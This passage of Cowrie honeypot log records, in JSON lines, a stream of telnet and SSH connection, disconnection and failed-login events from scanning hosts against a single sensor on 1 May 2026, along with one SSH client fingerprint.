af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:51.679349Z","src_ip":"186.80.18.158","session":"086852bebda9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":40950,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5f5361fcab4","protocol":"telnet","message":"New connection: 135.148.33.217:40950 (10.17.0.5:23) [session: d5f5361fcab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:51.968971Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39666,"dst_ip":"10.17.0.5","dst_port":23,"session":"97d30debf297","protocol":"telnet","message":"New connection: 64.235.40.29:39666 (10.17.0.5:23) [session: 97d30debf297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:51.978901Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"gu3st","message":"login attempt [guest/gu3st] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:52.015313Z","src_ip":"186.80.18.158","session":"086852bebda9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.575547695159912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:52.030394Z","src_ip":"216.22.21.200","session":"0f98e8e53548","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.802966833114624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:52.119402Z","src_ip":"64.235.40.29","session":"0d3097f956ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":57116,"dst_ip":"10.17.0.5","dst_port":23,"session":"171767ad970e","protocol":"telnet","message":"New connection: 195.154.29.177:57116 (10.17.0.5:23) [session: 171767ad970e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:53.028340Z"}
{"eventid":"cowrie.session.closed","duration":30.706804513931274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:53.033372Z","src_ip":"64.235.40.29","session":"26a4d9afe503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857815980911255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:53.064819Z","src_ip":"64.235.40.29","session":"324e3e8f0b5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:53.094287Z","src_ip":"186.80.18.158","session":"086852bebda9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":60172,"dst_ip":"10.17.0.5","dst_port":23,"session":"d92776b3bcbc","protocol":"telnet","message":"New connection: 99.198.111.122:60172 (10.17.0.5:23) [session: d92776b3bcbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:53.161651Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":55804,"dst_ip":"10.17.0.5","dst_port":23,"session":"116bb8c74b53","protocol":"telnet","message":"New connection: 160.250.4.73:55804 (10.17.0.5:23) [session: 116bb8c74b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:53.216628Z"}
{"eventid":"cowrie.session.closed","duration":30.73642659187317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:53.514834Z","src_ip":"104.207.153.205","session":"1cab06fbb9a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":56330,"dst_ip":"10.17.0.5","dst_port":23,"session":"34be3541ad32","protocol":"telnet","message":"New connection: 195.154.29.177:56330 (10.17.0.5:23) [session: 34be3541ad32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:53.806879Z"}
{"eventid":"cowrie.session.closed","duration":31.032592058181763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:53.878968Z","src_ip":"195.154.29.177","session":"41670f4a1c5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":40124,"dst_ip":"10.17.0.5","dst_port":23,"session":"b87826ffadb2","protocol":"telnet","message":"New connection: 104.207.153.205:40124 (10.17.0.5:23) [session: b87826ffadb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:53.998461Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":49696,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebe59eff7a91","protocol":"telnet","message":"New connection: 195.154.29.177:49696 (10.17.0.5:23) [session: ebe59eff7a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:54.079422Z"}
{"eventid":"cowrie.session.closed","duration":30.68791437149048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:54.125559Z","src_ip":"160.250.4.73","session":"d05de4b7e7f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":44092,"dst_ip":"10.17.0.5","dst_port":23,"session":"e737d444d1b5","protocol":"telnet","message":"New connection: 135.148.33.217:44092 (10.17.0.5:23) [session: e737d444d1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:54.247116Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39682,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d48eb1d4dcd","protocol":"telnet","message":"New connection: 64.235.40.29:39682 (10.17.0.5:23) [session: 0d48eb1d4dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:54.309031Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":34260,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d29dc8455e3","protocol":"telnet","message":"New connection: 99.198.111.122:34260 (10.17.0.5:23) [session: 1d29dc8455e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:54.389111Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":44308,"dst_ip":"10.17.0.5","dst_port":23,"session":"10d05618d276","protocol":"telnet","message":"New connection: 135.148.33.217:44308 (10.17.0.5:23) [session: 10d05618d276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:54.395318Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":34334,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7824809f737","protocol":"telnet","message":"New connection: 99.198.111.122:34334 (10.17.0.5:23) [session: d7824809f737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:54.421822Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":44746,"dst_ip":"10.17.0.5","dst_port":23,"session":"8efb77a8c83c","protocol":"telnet","message":"New connection: 135.148.33.217:44746 (10.17.0.5:23) [session: 8efb77a8c83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:54.624122Z"}
{"eventid":"cowrie.session.closed","duration":31.31772255897522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:55.011961Z","src_ip":"64.235.40.29","session":"84291fa6b382","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.588587284088135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:55.032702Z","src_ip":"216.22.21.200","session":"5436af55059a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40773057937622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:55.128635Z","src_ip":"160.250.4.73","session":"a57f3da3b82c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832901000976562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:55.235739Z","src_ip":"64.235.40.29","session":"9346a4ae87c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.442511558532715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:55.323407Z","src_ip":"135.148.33.217","session":"9f39dfc71030","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":37452,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f27710f1d6a","protocol":"telnet","message":"New connection: 216.22.21.200:37452 (10.17.0.5:23) [session: 2f27710f1d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:55.360832Z"}
{"eventid":"cowrie.session.closed","duration":30.995763063430786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:55.392577Z","src_ip":"64.235.40.29","session":"14223e7ec546","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":46074,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f10e8a2171e","protocol":"telnet","message":"New connection: 135.148.33.217:46074 (10.17.0.5:23) [session: 8f10e8a2171e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:55.689342Z"}
{"eventid":"cowrie.session.closed","duration":30.98532271385193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:56.100496Z","src_ip":"135.148.33.217","session":"752987a2c5f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":36896,"dst_ip":"10.17.0.5","dst_port":23,"session":"3da5a6705264","protocol":"telnet","message":"New connection: 195.154.29.177:36896 (10.17.0.5:23) [session: 3da5a6705264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:56.106419Z"}
{"eventid":"cowrie.session.closed","duration":31.197317361831665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:56.595535Z","src_ip":"64.235.40.29","session":"959b8d19257e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61154055595398,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:56.810380Z","src_ip":"64.235.40.29","session":"8a17bdeae0ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":39014,"dst_ip":"10.17.0.5","dst_port":23,"session":"103601b22e8e","protocol":"telnet","message":"New connection: 216.22.21.200:39014 (10.17.0.5:23) [session: 103601b22e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:56.858260Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":39064,"dst_ip":"10.17.0.5","dst_port":23,"session":"99927011b9f8","protocol":"telnet","message":"New connection: 216.22.21.200:39064 (10.17.0.5:23) [session: 99927011b9f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:56.915482Z"}
{"eventid":"cowrie.session.closed","duration":30.149510145187378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:57.062361Z","src_ip":"64.235.40.29","session":"4ec66e2afeec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":36192,"dst_ip":"10.17.0.5","dst_port":23,"session":"0654397ca276","protocol":"telnet","message":"New connection: 104.207.153.205:36192 (10.17.0.5:23) [session: 0654397ca276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:57.121399Z"}
{"eventid":"cowrie.session.closed","duration":31.012367248535156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:57.128661Z","src_ip":"160.250.4.73","session":"f52add983898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":47926,"dst_ip":"10.17.0.5","dst_port":23,"session":"df75b7844d11","protocol":"telnet","message":"New connection: 135.148.33.217:47926 (10.17.0.5:23) [session: df75b7844d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:57.192734Z"}
{"eventid":"cowrie.session.closed","duration":30.753737449645996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:57.282562Z","src_ip":"64.235.40.29","session":"00d54fbefd5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.794178247451782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:57.368030Z","src_ip":"64.235.40.29","session":"2a5286df7a6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":48578,"dst_ip":"10.17.0.5","dst_port":23,"session":"83f3124b0581","protocol":"telnet","message":"New connection: 135.148.33.217:48578 (10.17.0.5:23) [session: 83f3124b0581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:57.694118Z"}
{"eventid":"cowrie.session.closed","duration":30.895442724227905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:58.206122Z","src_ip":"64.235.40.29","session":"e45cbc33e6e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.129.6.158","src_port":57484,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d4c4435d3f9","protocol":"telnet","message":"New connection: 212.129.6.158:57484 (159.203.135.109:23) [session: 5d4c4435d3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:58.211554Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":33448,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca7a0e0d2ec7","protocol":"telnet","message":"New connection: 64.235.40.29:33448 (10.17.0.5:23) [session: ca7a0e0d2ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:58.326671Z"}
{"eventid":"cowrie.session.closed","duration":31.353946685791016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:58.488177Z","src_ip":"64.235.40.29","session":"589d85cc0b1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923325300216675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:58.569388Z","src_ip":"160.250.4.73","session":"1c54509713d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":50754,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab4d0916d7e5","protocol":"telnet","message":"New connection: 195.154.29.177:50754 (10.17.0.5:23) [session: ab4d0916d7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:58.873715Z"}
{"eventid":"cowrie.session.closed","duration":30.829675912857056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:59.014698Z","src_ip":"135.148.33.217","session":"33c5f3a26b38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37555456161499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:59.110516Z","src_ip":"64.235.40.29","session":"60320363b535","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":52992,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e0292f87d56","protocol":"ssh","message":"New connection: 122.168.114.167:52992 (159.203.135.109:22) [session: 6e0292f87d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:59.130660Z"}
{"eventid":"cowrie.session.closed","duration":30.49147653579712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:59.146399Z","src_ip":"160.250.4.73","session":"c1512760e8b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.129.6.158","src_port":40570,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0f50bd63dc3","protocol":"telnet","message":"New connection: 212.129.6.158:40570 (159.203.135.109:23) [session: f0f50bd63dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:59.206472Z"}
{"eventid":"cowrie.session.closed","duration":30.290226697921753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:59.211600Z","src_ip":"195.154.29.177","session":"afa7bc45fc50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":33450,"dst_ip":"10.17.0.5","dst_port":23,"session":"a308706e9462","protocol":"telnet","message":"New connection: 64.235.40.29:33450 (10.17.0.5:23) [session: a308706e9462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:59.258728Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":45322,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bfd584e8c17","protocol":"telnet","message":"New connection: 99.198.111.122:45322 (10.17.0.5:23) [session: 8bfd584e8c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:59.559256Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":33462,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdff4f987377","protocol":"telnet","message":"New connection: 64.235.40.29:33462 (10.17.0.5:23) [session: bdff4f987377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:59.681607Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":42240,"dst_ip":"10.17.0.5","dst_port":23,"session":"94752dd24adb","protocol":"telnet","message":"New connection: 216.22.21.200:42240 (10.17.0.5:23) [session: 94752dd24adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:59.932805Z"}
{"eventid":"cowrie.session.closed","duration":30.455506801605225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:00.145559Z","src_ip":"160.250.4.73","session":"b356153e4d44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":52038,"dst_ip":"10.17.0.5","dst_port":23,"session":"4427c5d241e4","protocol":"telnet","message":"New connection: 195.154.29.177:52038 (10.17.0.5:23) [session: 4427c5d241e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:00.172384Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":48368,"dst_ip":"10.17.0.5","dst_port":23,"session":"162cdf03d94b","protocol":"telnet","message":"New connection: 99.198.111.122:48368 (10.17.0.5:23) [session: 162cdf03d94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:00.836318Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":43572,"dst_ip":"10.17.0.5","dst_port":23,"session":"7548b047aee0","protocol":"telnet","message":"New connection: 216.22.21.200:43572 (10.17.0.5:23) [session: 7548b047aee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:01.063948Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":42456,"dst_ip":"10.17.0.5","dst_port":23,"session":"75a6d3545194","protocol":"telnet","message":"New connection: 216.22.21.200:42456 (10.17.0.5:23) [session: 75a6d3545194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:01.172973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:01.701570Z","src_ip":"122.168.114.167","session":"6e0292f87d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:01.705376Z","src_ip":"122.168.114.167","session":"6e0292f87d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":44370,"dst_ip":"10.17.0.5","dst_port":23,"session":"64e416a67bf5","protocol":"telnet","message":"New connection: 216.22.21.200:44370 (10.17.0.5:23) [session: 64e416a67bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:01.830152Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":39400,"dst_ip":"10.17.0.5","dst_port":23,"session":"b457ec7da218","protocol":"telnet","message":"New connection: 162.214.112.92:39400 (10.17.0.5:23) [session: b457ec7da218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:01.857358Z"}
{"eventid":"cowrie.session.closed","duration":31.518416166305542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:01.931908Z","src_ip":"64.235.40.29","session":"0df3527664d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.553717136383057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.054049Z","src_ip":"64.235.40.29","session":"5cce253368b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85252285003662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.061798Z","src_ip":"104.207.153.205","session":"7c4540e7ec35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":54640,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcd8934c5907","protocol":"telnet","message":"New connection: 135.148.33.217:54640 (10.17.0.5:23) [session: bcd8934c5907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.115206Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":33466,"dst_ip":"10.17.0.5","dst_port":23,"session":"1653614e2acb","protocol":"telnet","message":"New connection: 64.235.40.29:33466 (10.17.0.5:23) [session: 1653614e2acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.170026Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":52154,"dst_ip":"10.17.0.5","dst_port":23,"session":"0225fbc6ba9f","protocol":"telnet","message":"New connection: 99.198.111.122:52154 (10.17.0.5:23) [session: 0225fbc6ba9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:02.465294Z"}
